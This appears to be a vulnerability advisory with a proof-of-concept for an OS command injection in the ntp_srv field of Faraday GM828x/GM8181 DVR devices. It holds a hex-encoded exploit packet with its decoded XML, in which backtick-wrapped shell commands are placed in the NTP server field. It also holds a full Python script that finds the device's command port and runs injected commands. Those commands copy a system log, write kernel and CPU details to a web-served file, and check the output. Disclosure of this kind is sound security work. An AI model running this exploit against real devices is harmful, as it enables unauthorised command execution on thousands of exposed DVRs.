The Faraday Technology GM828x/GM8181 DVR devices have been found to contain a command injection vulnerability within the ntp_srv
parameter. This vulnerability may allow an attacker to execute arbitrary system commands on the device with the privileges of the NTP process via a network command protocol, affecting over 27,000 Internet-connected devices.
CWE-78 (OS Command Injection)
Example Request Packet
5A5AAA55 DA300000 ED030000 00000000 02000000 01000000 00000000 47010000 3C3F786D 6C207665 7273696F 6E3D2231 2E302220 3F3E0A20 20202020 2020203C 4D657373 61676520 56657273 696F6E3D 2231223E 0A202020 20202020 20202020 203C4865 61646572 3E0A2020 20202020 20202020 20202020 20203C6E 74705F63 6667206E 74705F73 72763D22 60656368 6F204D4B 4A584820 3E202F6D 6E742F6D 74642F61 70702F68 746D6C2F 6C6F636B 6022206E 74705F65 6E61626C 653D2231 2220696E 74657276 616C3D22 38363430 30222074 7A5F686F 75723D22 30222074 7A5F6D69 6E757465 3D223022 202F3E0A 20202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 2020203C 2F486561 6465723E 0A202020 20202020 20202020 20202020 20202020 20202020 20202020 20202020 3C2F4D65 73736167 653E0A20 20202020 20202020 20202020 20202020 20202020 20202020 20202020 202000
5a5aaa55da300000ed0300000000000002000000010000000000000047010000
. The segment "4701" within this header specifies the length of the request payload, which is 327 bytes in little-endian format.ntp_srv**="
**echo MKJXH > /mnt/mtd/app/html/lock**"**
<?xml version="1.0" encoding="utf-8"?>
<Message Version="1">
<Header>
<ntp_cfg ntp_srv="`echo MKJXH > /mnt/mtd/app/html/lock`" ntp_enable="1" interval="86400" tz_hour="0" tz_minute="0" />
</Header>
</Message>
The script utilizes socket to establish connections to the target device and sends a sequence of hexadecimal-encoded payloads to exploit the command injection vulnerability on the device.
import socket
import socks # PySocks
import json
HOST = '<IP_ADDR>'
HTTP_PORT = <HTTP_PORT>
# Define the commands to send in order
# initial commands
initial_commands = ['5a5aaa55d3300000ec0300000000000002000000010000000000000000000000']
# attack commands
attack_commands = [
'5a5aaa55d4300000ed03000000000000020000000100000000000000070200003c3f786d6c2076657273696f6e3d22312e3022203f3e0a20202020202020203c4d6573736167652056657273696f6e3d2231223e0a2020202020202020202020203c4865616465723e0a202020202020202020202020202020203c6e74705f636667206e74705f7372763d220a20202020202020203c4d6573736167652056657273696f6e3d2231223e0a2020202020202020202020203c4865616465723e0a202020202020202020202020202020203c6e74705f636667206e74705f7372763d2274696d652e6e6973742e676f7622206e74705f656e61626c653d22302220696e74657276616c3d223836343030220a2020202020202020202020202020202020747a5f686f75723d22302220747a5f6d696e7574653d223022202f3e0a2020202020202020202020203c2f4865616465723e0a20202020202020203c2f4d6573736167653e0a20202020202020200022206e74705f656e61626c653d22302220696e74657276616c3d2238363430302220747a5f686f75723d22302220747a5f6d696e7574653d223022202f3e0a20202020202020202020202020202020202020202020202020202020202020202020203c2f4865616465723e0a202020202020202020202020202020202020202020202020202020202020203c2f4d6573736167653e0a2020202020202020202020202020202020202020202020202020202020202000',
# ntp_srv="time.nist.gov"
'5a5aaa55d5300000ed03000000000000020000000100000000000000490100003c3f786d6c2076657273696f6e3d22312e3022203f3e0a20202020202020203c4d6573736167652056657273696f6e3d2231223e0a2020202020202020202020203c4865616465723e0a202020202020202020202020202020203c6e74705f636667206e74705f7372763d22606370202f636f6e6669672f73797374656d5f6c6f672e646174202f7661722f6261636b75706022206e74705f656e61626c653d22312220696e74657276616c3d2238363430302220747a5f686f75723d22302220747a5f6d696e7574653d223022202f3e0a20202020202020202020202020202020202020202020202020202020202020202020203c2f4865616465723e0a202020202020202020202020202020202020202020202020202020202020203c2f4d6573736167653e0a2020202020202020202020202020202020202020202020202020202020202000',
# ntp_srv="`cp /config/system_log.dat /var/backup`"
'5a5aaa55d6300000ed03000000000000020000000100000000000000070200003c3f786d6c2076657273696f6e3d22312e3022203f3e0a20202020202020203c4d6573736167652056657273696f6e3d2231223e0a2020202020202020202020203c4865616465723e0a202020202020202020202020202020203c6e74705f636667206e74705f7372763d220a20202020202020203c4d6573736167652056657273696f6e3d2231223e0a2020202020202020202020203c4865616465723e0a202020202020202020202020202020203c6e74705f636667206e74705f7372763d2274696d652e6e6973742e676f7622206e74705f656e61626c653d22302220696e74657276616c3d223836343030220a2020202020202020202020202020202020747a5f686f75723d22302220747a5f6d696e7574653d223022202f3e0a2020202020202020202020203c2f4865616465723e0a20202020202020203c2f4d6573736167653e0a20202020202020200022206e74705f656e61626c653d22302220696e74657276616c3d2238363430302220747a5f686f75723d22302220747a5f6d696e7574653d223022202f3e0a20202020202020202020202020202020202020202020202020202020202020202020203c2f4865616465723e0a202020202020202020202020202020202020202020202020202020202020203c2f4d6573736167653e0a2020202020202020202020202020202020202020202020202020202020202000',
# <ntp_cfg ntp_srv="<Message Version="1"><Header><ntp_cfg ntp_srv="time.nist.gov" ntp_enable="0" interval="86400" tz_hour="0" tz_minute="0" /></Header></Message>." ntp_enable="0" interval="86400" tz_hour="0" tz_minute="0" />
'5a5aaa55da300000ed03000000000000020000000100000000000000470100003c3f786d6c2076657273696f6e3d22312e3022203f3e0a20202020202020203c4d6573736167652056657273696f6e3d2231223e0a2020202020202020202020203c4865616465723e0a202020202020202020202020202020203c6e74705f636667206e74705f7372763d22606563686f204d4b4a5848203e202f6d6e742f6d74642f6170702f68746d6c2f6c6f636b6022206e74705f656e61626c653d22312220696e74657276616c3d2238363430302220747a5f686f75723d22302220747a5f6d696e7574653d223022202f3e0a20202020202020202020202020202020202020202020202020202020202020202020203c2f4865616465723e0a202020202020202020202020202020202020202020202020202020202020203c2f4d6573736167653e0a2020202020202020202020202020202020202020202020202020202020202000'
# ntp_srv="`echo MKJXH > /mnt/mtd/app/html/lock`"
]
# info commands
info_commands = [
'5a5aaa55da300000ed03000000000000020000000100000000000000710100003c3f786d6c2076657273696f6e3d22312e3022203f3e0a20202020202020203c4d6573736167652056657273696f6e3d2231223e0a2020202020202020202020203c4865616465723e0a202020202020202020202020202020203c6e74705f636667206e74705f7372763d2260756e616d65202d72203e202f6d6e742f6d74642f6170702f68746d6c2f6c6f636b3b636174202f70726f632f637075696e666f203e3e202f6d6e742f6d74642f6170702f68746d6c2f6c6f636b6022206e74705f656e61626c653d22312220696e74657276616c3d2238363430302220747a5f686f75723d22302220747a5f6d696e7574653d223022202f3e0a20202020202020202020202020202020202020202020202020202020202020202020203c2f4865616465723e0a202020202020202020202020202020202020202020202020202020202020203c2f4d6573736167653e0a2020202020202020202020202020202020202020202020202020202020202000',
# uname -r > /mnt/mtd/app/html/lock;cat /proc/cpuinfo >> /mnt/mtd/app/html/lock
]
# end commands:
end_commands = [
'5a5aaa55d8300000ed03000000000000020000000100000000000000420100003c3f786d6c2076657273696f6e3d22312e3022203f3e0a20202020202020203c4d6573736167652056657273696f6e3d2231223e0a2020202020202020202020203c4865616465723e0a202020202020202020202020202020203c6e74705f636667206e74705f7372763d226563686f202727203e202f6d6e742f6d74642f6170702f68746d6c2f6c6f636b22206e74705f656e61626c653d22312220696e74657276616c3d2238363430302220747a5f686f75723d22302220747a5f6d696e7574653d223022202f3e0a20202020202020202020202020202020202020202020202020202020202020202020203c2f4865616465723e0a202020202020202020202020202020202020202020202020202020202020203c2f4d6573736167653e0a2020202020202020202020202020202020202020202020202020202020202000'
# ntp_srv="`echo '' > /mnt/mtd/app/html/lock`"
'5a5aaa55e6300000ed03000000000000020000000100000000000000b90000003c3f786d6c2076657273696f6e3d22312e3022203f3e0a3c4d6573736167652056657273696f6e3d2231223e0a202020203c4865616465723e0a20202020202020203c6e74705f636667206e74705f7372763d2274696d652e6e6973742e676f7622206e74705f656e61626c653d22302220696e74657276616c3d2238363430302220747a5f686f75723d22302220747a5f6d696e7574653d223022202f3e0a202020203c2f4865616465723e0a3c2f4d6573736167653e00'
# <ntp_cfg ntp_srv="time.nist.gov" ntp_enable="0" interval="86400" tz_hour="0" tz_minute="0" />
]
def send_data(s, data):
binary_data = bytes.fromhex(data)
s.sendall(binary_data)
def recv_all(sock):
data = b''
while True:
part = sock.recv(4096)
data += part
if len(part) < 4096:
break
return data
def process_commands(socket, commands):
for command in commands:
send_data(socket, command)
response = recv_all(socket)
print("response\\n", response)
if b'\\x5a\\x5a\\xaa\\x55' not in response:
print("Not meet the expected condition, stopping...")
break
# GET command port
s =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('HTTP Target: ' + str(HOST) + ":" + str(HTTP_PORT))
s.settimeout(10)
s.connect((HOST, HTTP_PORT))
s.sendall('GET /command_port.ini HTTP/1.1\\r\\nHost: {}\\r\\n\\r\\n'.format(HOST).encode())
response = recv_all(s)
command_port = None
if response:
response_str = response.decode()
index = response_str.find('command_port=')
s.close()
if index != -1:
port_str = response_str[index + len('command_port='):].split()[0]
command_port = int(port_str)
else:
print('No command port')
exit(0)
# Excute initial and attack command
s =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('Command Target: ' + str(HOST) + ":" + str(command_port))
s.connect((HOST, command_port))
process_commands(s, initial_commands)
process_commands(s, attack_commands)
s.close()
# Check attack command execution status
s =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, HTTP_PORT))
s.sendall('GET /lock HTTP/1.1\\r\\nHost: {}\\r\\n\\r\\n'.format(HOST).encode())
response = recv_all(s)
if response:
response_str = response.decode()
s.close()
if 'MKJXH' in response_str:
print("Command executed successfully.")
else:
print("Command execution failed.")
exit(0)
# Excute info command
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, command_port))
process_commands(s, info_commands)
s.close()
# Check info command execution status
s =socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, HTTP_PORT))
s.sendall('GET /lock HTTP/1.1\\r\\nHost: {}\\r\\n\\r\\n'.format(HOST).encode())
response = recv_all(s)
if response:
response_str = response.decode()
s.close()
print(response_str)
if 'Hardware' in response_str:
print("Command executed successfully.")
else:
print("Command execution failed.")
# Excute end command
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, command_port))
process_commands(s, end_commands)
s.close()